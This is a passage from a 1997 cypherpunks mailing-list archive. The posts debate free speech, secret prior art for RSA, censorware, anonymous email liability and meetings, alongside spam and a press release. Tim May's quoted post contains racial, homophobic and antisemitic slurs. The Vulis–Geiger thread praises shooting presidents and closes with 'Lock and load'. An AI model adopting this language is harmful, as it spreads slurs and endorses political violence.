Were far, far, far fewer persons hired by the government, the issue would
be much simpler.

Suppose RealBig Corporation fired Umbehr for his views. Would a First
Amendment issue have arisen? Of course not. In a free society, RealBig is
free to hire whom it wishes, and to refuse to hire niggers, homos,
perverts, Jews, whatever. And to fire anyone who wrote opinions the
managers at RealBig disliked.

Mr. Umbehr may have had a cause of action based on his employment contract,
and the various rules which govern government employees, but it was hardly
a First Amendment case.

Except in the "liberal" sense, which is exactly why the First is being eroded.

--Tim May


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vicente Silveira <vicente@certisign.com.br>
Date: Thu, 18 Dec 1997 05:28:33 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712171946.OAA08750@homeport.org>
Message-ID: <34999229.15CD6AB5@certisign.com.br>
MIME-Version: 1.0
Content-Type: text/plain



Adam Shostack wrote:
> 
> Jim Burnes wrote:
> 
> | >      http://jya.com/ellisdoc.htm
> |
> | Can patents be revoked due to prior art arguments?
> 
>         I think its a really bad precedent to revoking patents based
> on the basis of secret documents released after the fact.  If you
> believe in patents, then having your work nullifiable by government
> claims is a bad idea.
> ...

Maybe in the future this could be possible ... Let's say that
NSA does hashes of all their scientific papers and timestamp
them with some third party recognized company. This way NSA would
be able to prove that they had an original idea even if they claim
this only after someone else has reinvented it. 



-- 

Vicente Silveira - vicente@certisign.com.br
  CertiSign Certificadora Digital Ltda.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mj@creative.net
Date: Fri, 19 Dec 1997 11:49:17 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorware Search Engine update and request for files
In-Reply-To: <199712182329.SAA05550@users.invweb.net>
Message-ID: <v04002a01b0bf1fe04bc6@[207.137.201.7]>
MIME-Version: 1.0
Content-Type: text/plain



One comment in this article:

>  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html
>
 may be incorrect. The comment is:


>    I have one major objection to all of the
>                   software filters currently on the market: Consumers
>                     have no way of knowing what's being blocked.
>                     Without knowing what's on the filter list, parents
>                     can't know what Junior will or won't be seeing.

 NetNanny (www.netnanny.com) says that its lists are fully viewable and
editable.  If so, perhaps we should support them as the alternative.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Fri, 19 Dec 1997 08:14:27 +0800
To: cypherpunks@toad.com
Subject: Re: ADL
Message-ID: <CicDpNWYgwuUyDSUu8tDyA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Re: FC: ADL and CyberPatrol

On Wed, 17 Dec 1997 at 00:04:33 -0500, Declan McCullagh wrote:

> From: "David Smith" <bladex@bga.com>
> To: fight-censorship@vorlon.mit.edu
> Date: Tue, 16 Dec 1997 21:25:23 +0000
> Subject: Cyber Patrol to Block Hate Speech
> 
> Cyber Patrol to block hate speech
> http://www.news.com/News/Item/0,4,17431,00.html?dtn.head
> 
> Summary -- Cyber Patrol has teamed up with the Anti-
> Defamation League to offer a "special version" of sites 
> reviewed by the ADL.
> 
> Here's the weirdest thing about the story --- if you 
> access a site on their "hate list" you don't get a block, 
> but rather you get redirected to the ADL website.
> 
> ...
> Blocking access isn't enough -- you will now be told what 
> to read and what to think about prejudice, bigotry, and 
> race relations.
> 
> I don't have anything for or against the ADL -- just that 
> history dictates that this power will be used and abused 
> to stifle thought and free expression.

Much as I agree in principle with counteracting mindless
prejudice such as that directed against Jews, and despite
the fact that I grew up among Jews and studied with my
best friend in grade school when he took his religious
lessons, the ADL has zero credibility with me for a very
good reason: 

I had a role in an organization that, while it was populated 
with a good many bible-thumping Christians, took great care 
not to encourage, promote or give a platform to voices of
unreason. The nature of the organization was political and
in no way dealt with religious issues or issues which would
find people dividing along any religious or ethnic line.

Nonetheless, I was stunned one day to read mention of our 
organization characterized as "anti-semitic" by the ADL in 
a national publication. To have provided such erroneous 
information to the author of the article the ADL either had
to have been grossly negligent in its gathering and analysis
of facts or had to be pursuing other agenda in using the 
clout of its pronouncements. I rather think it may have 
been the latter (the organization was Constitutional and 
anti-income tax, while the ADL probably harbors more than
its share of socialists who bristle at any challenge to the
taxing authority of the state).

My qualification to judge the ADL's deficiency in this 
matter was absolute. I had personally written and/or reviewed
every piece of literature the organization had published, 
including newsletters, from its inception. There was no
propagation of policy or position with which I was not
personally acquainted, and nowhere had the organization ever
published anything that could even vaguely be interpreted
as anti-semitic.

So I regard the ADL with extreme suspicion, not on the
vaporous basis of pre-judgement or hearsay but on the solid
basis of having been visited with unwarranted and groundless 
personal damage at their hands, not unlike the small club
of people who know the treachery of Sixty Minutes for what 
it is by personal experience.

The ADL does its proclaimed purpose a radical disservice by
verging sharply from the straight and narrow that is
mandatory in any holier-than-thou endeavor. I would lay down
my life for any of a number of my Jewish friends, but I 
wouldn't give the ADL the time of day even if the Apocalypse 
were upon us.

VeracityMongerII





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrade Software Andrade Networking <andrade@netcom.com>
Date: Fri, 19 Dec 1997 12:32:23 +0800
To: ptrei@securitydynamics.com (Trei Peter)
Subject: Re: How about a Bay Area meeting 1/17/98?
In-Reply-To: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com>
Message-ID: <199712190418.UAA24814@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Andrade Software & Networking
Andrad@Netcom.Com
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 544       

> 
> 	Bill wrote:
> 	> The December Bay Area Cypherpunks Meeting will be held 12/13
> at 1pm at
> 	> Printer's Ink on Castro Street in Mountain View.
> 
> It would be nice if the January meeting were held the 17th. This is the
> day following
> the RSA Data Security Conference, and a lot of out-of-towners will be in
> the
> area over that weekend.
> 
> Peter Trei
> 
> 
> 

Will there be a meeting then?  If so, where and when?

- Alex

-- 

Alex Alten
P.O. Box 11406
Pleasanton, CA  94588
USA

Andrade@Netcom.Com
(510) 417-0159   Fax/Voice





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vicente Silveira <vicente@certisign.com.br>
Date: Fri, 19 Dec 1997 06:36:45 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712181435.JAA13916@homeport.org>
Message-ID: <3499A38A.61C7A738@certisign.com.br>
MIME-Version: 1.0
Content-Type: text/plain



Adam Shostack wrote:
> 
> While this does prevent making things up out of whole cloth, it does
> not address the possibility that the hash has been broken by the
> agency, nor the possibility that documents will be selectively
> released by the agency to hurt certain parties.
> 
> None of this addresses the real flaw, which is the inability to value
> your patent if theres a chance that a party will remove the secrecy in
> whihc they invented it, and thus nullify your patent.
> 
> The whole prior art argument is that you could reasonably have heard
> about this other thing, or that the patent office could have found it,
> and thus your patent should not have been granted.
> 
> If the patent office had examiners with clearence who checked patents
> agianst various government claims and denied the patent on the ground
> that there exists prior, classified art, that would be vaugely fine;
> it would be a predictable risk as the patent is pending.
> 
> Adam
> 

I agree with you, I just mentioned that it was technically
feasible, but, as you pointed out, the ethical and legal
aspects of this issue makes this kind of ( submarine ? )
patents undesirable.


-- 

Vicente Silveira - vicente@certisign.com.br
  CertiSign Certificadora Digital Ltda.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Dec 1997 10:06:58 +0800
To: cypherpunks@toad.com
Subject: Re: Censorware Search Engine update and request for files
In-Reply-To: <Pine.GSO.3.95.971218143713.5527C-100000@well.com>
Message-ID: <v03007801b0bf829f884b@[204.254.20.2]>
MIME-Version: 1.0
Content-Type: text/plain



At 14:37 -0800 12/18/97, Declan McCullagh wrote:
>  http://cgi.pathfinder.com/netly/spoofcentral/censored/

Some of the pathfinder servers seem to be having problems. If you keep
reloading the page, it should work.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 22 Dec 1997 22:26:19 +0800
To: Fabrice Planchon <fabrice@math.princeton.edu>
Subject: Re: The Joys of Being Canadian
In-Reply-To: <19971216232911.50392@math.princeton.edu>
Message-ID: <Pine.LNX.3.91.971218205841.842A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> On a previous (shorter) stay in the US, I didn't have a SSN. Yet I got a
> DL (with my passport) (this was Missouri). And after a few long
> discussions on the phone on why I didn't have a SSN, I gave up the
> explanations and started giving my french SSN (after all, it was a valid
> answer to the question "what is your social security number"), actually
> a substring. Interestly enough, SSNs in France are not supposed to be
> used for identification or taxes purposes, just for medical purposes
> IIRC. A recent project by the government to link medical databases and
> tax database opened a controversial discussion...

It has not, until very recently, been common to use SSN or driver 
numbers in the UK as ID, I don`t know if they were or were not originally 
intended as ID in this country, I don`t think so, but was met with 
abusive argument and suspicion when I refused to give my SSN a few days 
ago as ID, look like the UK govt. is taking a leaf out of billy-bobs 
book, oh dear...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 19 Dec 1997 11:19:16 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Freedom Forum report on the State of the First Amendment (fwd)
Message-ID: <199712190334.VAA06193@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 18 Dec 1997 19:08:31 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Freedom Forum report on the State of the First Amendment

> This is part of why the First Amendment is being eroded constantly. It is
> seen as a _political_ issue.
> 
> Suppose RealBig Corporation fired Umbehr for his views. Would a First
> Amendment issue have arisen?

But Tim, governmental systems are *not* businesses, and should not simply as
a matter of course be operated as such either. There is more involved than a
simple bottem line. Perhaps you should talk to Horatio...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Dec 1997 20:07:41 +0800
To: cypherpunks@toad.com
Subject: Re: Toto, knock it off!
In-Reply-To: <v03102802b0bf0eb7ace8@[207.167.93.63]>
Message-ID: <RZuXHe11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy May <tcmay@got.net> writes:

> At 6:18 AM -0700 12/18/97, Adam Back wrote:
> >Toto,
> >
> >Could you have a word with your nephew Human Gus Peter?  He just sent
> >1.1 Mb of encrypted warez to cypherpunks list.  I'm not bothered about
> >the warez, but am bothered about the volume.
> >
> >If he wants to make warez available could you get him to learn how to
> >use the eternity service?  Then he could simply post a URL to the
> >list.
>
> You're far too kind, Adam.
>
> This fool who sometimes posts as Toto, sometimes as TruthMonger, sometimes
> as Human Gus-Peter, sometimes as Admiral Bubba Something, and so on, is
> simply set on disrupting the list.

Timmy is being his censorious self as usual, always ready to yap in support
of blacklisting by e fascist cocksuckers John Gilmore and Declan M, in
favor of C2Net's "moderation experiment", and any other oppression of free
speach.  Up with the SPAM!!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 19 Dec 1997 11:37:20 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: CNET Dispatch: gadgets; stop spam; IE 4.0 feedback (fwd)
Message-ID: <199712190352.VAA06268@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date:         Thu, 18 Dec 1997 17:50:32 -0800
> From: CNET Digital Dispatch <dispatch@CNET.com>
> Subject:      CNET Dispatch: gadgets; stop spam; IE 4.0 feedback
> To: DISPATCH@DISPATCH.CNET.COM
> 
> CNET Digital Dispatch: gadgets; stop spam; IE 4.0 feedback
> December 18, 1997
> 
> *******************************************
> Good things come in the mail...like cool portable computers,
> mega speaker systems, and little digital cameras. Want more?
> See our lead story this week, the "Geek's guide to gadgets"
> (item 1).
> 
> Unfortunately, bad things can come in the mail, too, such as
> pointless junk mail and chain letters.  Fortunately, you can
> take control.  This week's feature on stopping spam (item 2)
> has our top tips.
> 
> Rafe Needleman
> Editor, CNET.COM
> rafe_needleman@cnet.com


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Fri, 19 Dec 1997 06:32:37 +0800
To: cypherpunks@toad.com
Subject: Re: UCENET II and Peter duh Silva
In-Reply-To: <668vgi$bpo@news1.panix.com>
Message-ID: <19971218222004.16727.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

politas@dynamite.com.au (Politas) wrote:

> >Are you saying that Hotmail should be made a guarantor of the identity of
> >its accountholders, or merely that they could be required, under certain
> >circumstances, to divulge what information (if any) it possesses, regardless
> >of its accuracy?  AFAIK, the latter case is currently operative, since
> >Hotmail's records are presumably already subject to subpoena (in the USA,
> >at least -- I just realized you're posting from an Aussie domain).
>  
> The latter.  Additionally, if they cannot provide a reliable next link in
> the identity chain (like another validated email address or a time-stamped
> IP address used to register the account), they should be held responsible
> for the posts from that account.

Why should the operator of the delivery medium be held responsible for the
contents of a message?  Perhaps the laws are different "down under", but here
in the USA anyone can deposit coins in a public telephone and make a phone
call without identifying himself.  The person can't be identified, and
neither can you hold the telephone company responsible for any damages you
claim resulted from the call.

It's the same with the US Postal Service.  You can mail a letter from a public
mail box and as long as the proper postage is attached, it will be delivered
even if it doesn't have a return address, or if it contains a false return
address.  But if someone mails you a letter bomb, you can't sue the US
Postal Service.

So why institute draconian rules to restrict e-mail which are stricter than
those for other communications media?

I'll reiterate my opinion that such restrictive rules would cripple the
usefulness of many currently-available services.  I seriously doubt that
Hotmail would take on the expense of identifying each of its account holders
as well as assuming liability for any that it misidentified, in order to
provide a FREE service.  In fact, it would impact most ISPs.  As long as you
pay your monthly access fees on time, most ISPs take you at your word that
the name and address you supplied on your application are correct.

I would suggest that the recipient of a piece of e-mail should bear the
responsibility for authenticating its sender before sending someone money,
or taking other action that could potentially incur a financial loss.  
Transferring that duty to the ISP makes no sense.  For one thing, who would 
you hold responsible?  Your own ISP?  The one listed in the return address?  
Even if it's forged?  What if the ISP is located in another jurisdiction?
 
- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJmXHAbp0h8ZvosNAQFC1wf+N7lY2dXQNXt/Wl4MXPR+c2Intr4bG9Xw
N7qaKiHRqNszuD55yx5iXhKRgxtbnlBzMuUv3sr800M3kmrXqQJBzeDA/ljcASSU
Bi5kBHlpTcASm5H1jhRjRSk0BL+KCuTzmunCSExiB7tD2XNb/qGO+4bpcMdJ2A3z
nY7kmNjptt9vZJ3ZSz2l/n7IbplcUXWiRcHeJ4Nwp6ehjYzJX43d5snzhymJhLlK
6paX461Szcn5+3ILgv2JPfMxdG282mY1dSzxpScaHZ1pu0dh3702TlO37A9sfykc
4yAFDDLaCBnidyw0Fz//YGpgNhCYphKDyx1yNF7Aeyni0Kv0YovAtg==
=8nzS
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Fri, 19 Dec 1997 11:58:28 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <v03007801b0bddf5a7151@[168.161.105.216]>
Message-ID: <v03007800b0bf50ceed20@[207.172.112.244]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:08 AM -0000 12/19/97, Tim May wrote:
>At 4:46 PM -0700 12/18/97, Declan McCullagh wrote:
>
>>   Keynote speaker Keen Umbehr told the audience that he lost his job,
>>   his community and even family and friends during his First Amendment
>>   battle with the county commission in Wabaunsee County, Kansas.
>>
>>   Umbehr, who had a contract to haul the county's trash, also wrote
>>   editorials for the local newspaper, often alleging violations of law
>>   and other misconduct by the county commission. "What I wrote was true,
>>   and I could back it up," Umbehr said. "I believed that my
>>   constitutional rights were live and real, waiting to be activated. I
>>   felt that writing articles and speaking out about the government not
>>   only was my right, it was my duty to speak the truth, regardless of
>>   the fact that my whole livelihood was based on that county contract."
>>
>>   The county terminated his contract in retaliation for his articles.
>>   Umbehr sued, and the case went all the way to the U.S. Supreme Court.
>>   In June 1996 the court upheld Umbehr's free-speech rights.
>
>This is part of why the First Amendment is being eroded constantly. It is
>seen as a _political_ issue.
>
>The role of the _county_ in hiring or not hiring Keen Umbehr is
>problematic, but not because of prior restraint issues.
>
>Were far, far, far fewer persons hired by the government, the issue would
>be much simpler.
>

Tim's analysis is nonsensical.

A government employee loses his job because of his political
views. He brings a lawsuit, alleging a violation of the First
Amendment, and eventually prevails in the Supreme Court.

A non-government employee who loses his job because of his
political views would have no cause of action because the
private employer is not bound by the First Amendment.

Therefore there should be far fewer government employees
to prevent further erosion of the First Amendment.

>Suppose RealBig Corporation fired Umbehr for his views. Would a First
>Amendment issue have arisen? Of course not. In a free society, RealBig is
>free to hire whom it wishes, and to refuse to hire niggers, homos,
>perverts, Jews, whatever. And to fire anyone who wrote opinions the
>managers at RealBig disliked.

Substitute "fascist society" for "free society" in the paragraph
above and the discussion begins to make some sense. Hell, it's even
historically accurate.

[This is probably the point at which we get those posts about
how there is more freedom in Singapore. Unless, of course,
you chew gum on the job.]

Marc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 19 Dec 1997 13:33:40 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <5919868725b843ed4686a7fd85c52524@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Oh Boy!  I just read Sheiner's Applied Cryptography, and I am ready to
*do some code*!!!

> 
> I would like to participate in the Coderpunks list.  Can someone send me
> information about the list.  I am particularly interested in the current
> discussion on Crypto Kong.
> 
> Thanks,
> --
> Matthew Cromer
> 
> matthew_cromer@iname.com
> 
> 


-- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 19 Dec 1997 14:51:41 +0800
To: nobody@bureau42.ml.org (bureau42 Anonymous Remailer)
Subject: Re: ADL
In-Reply-To: <CicDpNWYgwuUyDSUu8tDyA==@bureau42.ml.org>
Message-ID: <199712190637.AAA00706@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



ADL is a disgrace and shame to all freedom-loving Jews.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mj@creative.net
Date: Fri, 19 Dec 1997 19:48:46 +0800
To: cypherpunks@cyberpass.net
Subject: Fwd: Re: Is Unix dying--or even dead?
Message-ID: <v04002a06b0bf7efdab5d@[207.137.201.12]>
MIME-Version: 1.0
Content-Type: text/plain




>
>>
>>>>From Edupage, 18 December 1997:
>>>
>>><---------->
>>>TACTICAL SHIFT BY WORKSTATION COMPANIES
>>>Silicon Graphics Inc.'s plan to allow SGI graphics software to run on
>>>Microsoft's Windows NT operating system provides new evidence that a
>>>growing number of companies are giving up on Unix and instead
>>>standardizing on Windows NT.  SGI hopes to be able to use its
>>>experience in developing high-end graphics software without having to
>>>spend a great deal of time building the underlying technology
>>>represented by an operating system. (Washington Post  17 Dec 97)
>>><---------->
>
>Fools. This will trap them into trying to compete with MS on its own
>platform, which is what's killing everyone else.  What they should do is
>port to Linux, which should be much easier anyway, and give much better
>results, since they can customize the OS to their needs.  Does anyone have
>any connections at SGI?  I'm preparing a pro-Linux case based on my OOSI
>paper that I want to promote around Silicon Valley.
>>
>>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: up@uplinkpro.com
Date: Fri, 19 Dec 1997 15:40:30 +0800
To: cypherpunks@cyberpass.net
Subject: Can't Find Your Web Site
Message-ID: <199712190738.CAA26630@athena.uplinkpro.com>
MIME-Version: 1.0
Content-Type: text/plain



     Can't find your web site?
     Uplink will post your site to 50 search engines for $89. 
     We guarantee your satisfaction, or you pay nothing!

Millions of people every day use search engines to find web sites.
Uplink makes your site easier to find by posting it to the top 50 search engines.

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you a full promotion report.

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THE SEARCH ENGINES

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Network, Net Happenings, Net Mall, Web World  Internet Directory, WebVenture
Hotlist, What's New, WhatUSeek, JumpLink, Linkcentre Directory, InfoSpace, Jayde
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 (This information will be posted to the search engines/indexes):

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______________________________________________________________________
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Phone: (203) 791-7351
Fax:     (203) 790-6407
E-mail: up@uplinkpro.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Dec 1997 20:28:13 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199712182152.QAA04664@users.invweb.net>
Message-ID: <6a0XHe12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@invweb.net> writes:

> In <0sqwHe3w165w@bwalk.dm.com>, on 12/18/97
>    at 07:20 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >"William H. Geiger III" <whgiii@invweb.net> writes:
> >>
> >> In <Sl1u95tNr9A0n4yGHAxIPQ==@bureau42.ml.org>, on 12/18/97
> >>    at 05:36 AM, bureau42 Anonymous Remailer <nobody@bureau42.ml.org> said:
> >>
> >> >When is Klintonkov running again? Why not?! He doesn't pay any attention
> >> >to the other amendments!
> >>
> >> Oh I am sure the rat bastard would like nothing more than to be another
> >> Franklin "Dictator for Life" Roosevlet. He has already show that he is
> >> just as much a socialist and has the same disrespect for the Constitution.
>
> >Bill, while I intensely dislike FDR's politics, he was nowhere near the
> >kind of crook and murderer that Slick Willy is.
>
> >FDR tried to pack the Supreme Court - this ain't nice, but it's just
> >politics. What did he do that could compare to peddling plots on the
> >Arlington nat'l Cematary to political contributors (that later get dig up
> >and reburied :-) or to Waco?
>
> While I despise the current thieving murders in power (ALL 3 Branches),
> they look like ametures when compared to the criminals in power during the
> FDR dictatorship.

The criminals currently in Wash DC are less discrete about their abuses.
They also have no style. FDR fucked around on Eleanore a lot, but can you
vizualize FDR having his minions fetch a secretary to his office; pulling
down his pants and ordering her to suck him off; and firing her for refusing?

> FDR did much more damage to the Constitution than most realize: price
> controls, TVA, rations, socialist policies to "fix" the depression,
> Japanese and Italian internment camps, imprisonment of political
> opponents, suppresion of the press, ... etc.

FDR was shit, but Lincoln did much of that and worse.

> As far as a murder FDR is responsible for more American deaths than any
> other President with the exception of the butcher Lincoln (all such
> statist should die that way) not to mention the 1,000's of Jews he let die
> because he didn't want any "filthy kikes" immigrating to the US. Oh let's
> not forget the men and women at Perl Harbor and in the other Pacific
> Islands that were offered up as sacrificial lambs so he could turn the
> sheeple in favor of a war they otherwise would not have supported.

Amen. And let's not forger the Kennedy Klan: the murderer and bootlegger
Joe Kennedy accummulated lots of $$ via his criminal activities during the
prohibition and figured (correctly) that he could buy political posts for
his kids. Joe kennedy personally murdered more people than Al Capone and
Dillinger (I'm not talking about sending goon squads)

> FDR was a statist pig no better than the other statist pigs that waged war
> against the people of the world in the 30's and 40's.

I can't argue with the obvious fact that FDR was a motherfucking dictator and
deserved a bullet in his head the same way Lincoln did. However FDR did not,
as far as I know, sent death squads dressed up as ninjas to murder civilians,
the way Slick Willy did at Waco, Ruby Ridge, et al - possibly just because
FDR didn't have the goons that are now plentiful in the feds' employ.

Lock and load,

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill James <bill@jitcorp.com>
Date: Fri, 19 Dec 1997 17:18:46 +0800
To: cypherpunks@toad.com
Subject: Everybody can serve
In-Reply-To: <Pine.LNX.3.95.971111115613.323B-100000@westsec.denver.ssds.com>
Message-ID: <3499EAE0.77D@jitcorp.com>
MIME-Version: 1.0
Content-Type: text/plain

When everyone can publish it is more difficult
to control a society.

We offer this free.

Billy James

Title: Leap into the Future






   
      
         <IMG SRC="http://206.185.185.94/images/CoLogoMid.gif" WIDTH=159 HEIGHT=56
         X-SAS-UseImageWidth X-SAS-UseImageHeight ALIGN=bottom>
       
         

Press Release






FOR IMMEDIATE RELEASE 

Media Contacts: 
                                                                    
Scott Barger - Fallon McElligott
                                                                    
612-321-2797, Scott's email
                                                                    
Bill James - JIT
                                                                    
612-484-9549, Bill's email

----------------------------------------------------------------------

St Paul, MN

James Integrated Technologies (JIT Corp), under its Leap into the Future program to educate web users on the ease of electronic-commerce, is contributing $6.5 million in free eCommerce software.  The first 10,000 users to registered at www.webclerk.com will receive a free license for WebClerk, regularly priced at $649.  

JIT Corp's Leap into the Future, introduced on December 16, 1997 is designed to educate business people that they can safely and cost effectively sell and provide service to their customers on the internet. "The $6.5 million gift to our customers will give them confidence that they do not have to fight through the current fears, costs and technical difficults associated with getting on the internet. With free WebClerks they simply leap past the current obstacles and start doing business on the web.

"Our objective is to increase our customer's profitable sales," says  JIT Corp President Bill James.  "In the near future, eCommerce  will replace FAXing, just as FAXing replaced telex.  We have removed the technical complexities of commercial web site implementation, made it powerful enough for big business and priced WebClerk so that even the smallest business can afford to safely provide service and sell on the web."

<IMG SRC="http://www.jitcorp.com/images/webClerk_Exit72b.gif" 
X-SAS-UseImageWidth X-SAS-UseImageHeight ALIGN=center>

Author and President, Bill James, initiates the $6.5 million "Leap into the Future" Education Program with a leap from 10,000 feet over a wintery Minnesota landscape.

<IMG SRC="http://www.jitcorp.com/images/webClerk_flat.gif"  
X-SAS-UseImageWidth X-SAS-UseImageHeight ALIGN=center>


WebClerk is a commercial data base, prefabricated web site and server.  Users simply import their data and graphics and begin taking orders on the web.  An experienced webmaster, Jason Bright, www.brightech.net, notes, "WebClerk is a straightforward and extensive way to get a commerce site up and running overnight."

WebClerk offers customers numerous features, including technical libraries, interactive customer support and FAQs, forums, catalogs, order entry, order status and secure credit card approvals.

The local webmaster controls the data available for WebClerk to display.  Customers collaborate with WebClerk to access areas of interest as well as make online purchases.

"As the Interactive division of a major advertising and marketing agency (Fallon McElligott), we look for solutions that give our clients a strong and secure presence on the web," says Lynn Heiberger, President of Revolv.  "Most solutions with the capabilities we wanted cost at least $100,000.  WebClerk helped us meet our objectives for less than $10,000."

With WebClerk, small businesses have the same abilities as large businesses to leap into the future. "We're a two-person company making custom labels for home beer brewers.  Changing our web catalog was expensive and beyond our technical ability," says Ernie Bishop of www.ToTheLabel.com.  "With WebClerk we built our catalog in a few hours and are now able to update it in just minutes."

WebClerk has EDI and data synchronization capabilities.  When used with theCustomer, enterprise software, it becomes an integrated part of a total client/server solution running both the web and normal aspects of the business.  A single user version of theCustomer comes bundled in WebClerk.

Setup requires a connection to the Internet, router or modem and a fixed TCP/IP address.  No other software is required for normal operation.  To manage secure
credit card approvals there is a $35 per month and $.25 per secure transaction service contract.  WebClerk runs at a company's site or at a host service provider.

WebClerk runs on either a Macintosh (32 Mbytes of RAM) or Windows NT/95 (64 Mbytes of RAM).

James Integrated Technologies (www.jitcorp.com or www.webclerk.com) is located in St. Paul, MN.  They provide software, training, catalog hosting and support to enable their customers to become technically competitive, sales and service driven.

# # #



<IMG SRC="http://www.jitcorp.com/images/10530_jitProductLine.gif"  
X-SAS-UseImageWidth X-SAS-UseImageHeight ALIGN=Center NATURALSIZEFLAG="3">




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jburke@nh.ultranet.com
Date: Fri, 19 Dec 1997 16:43:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: UK spooks invent RSA, DH in 1973
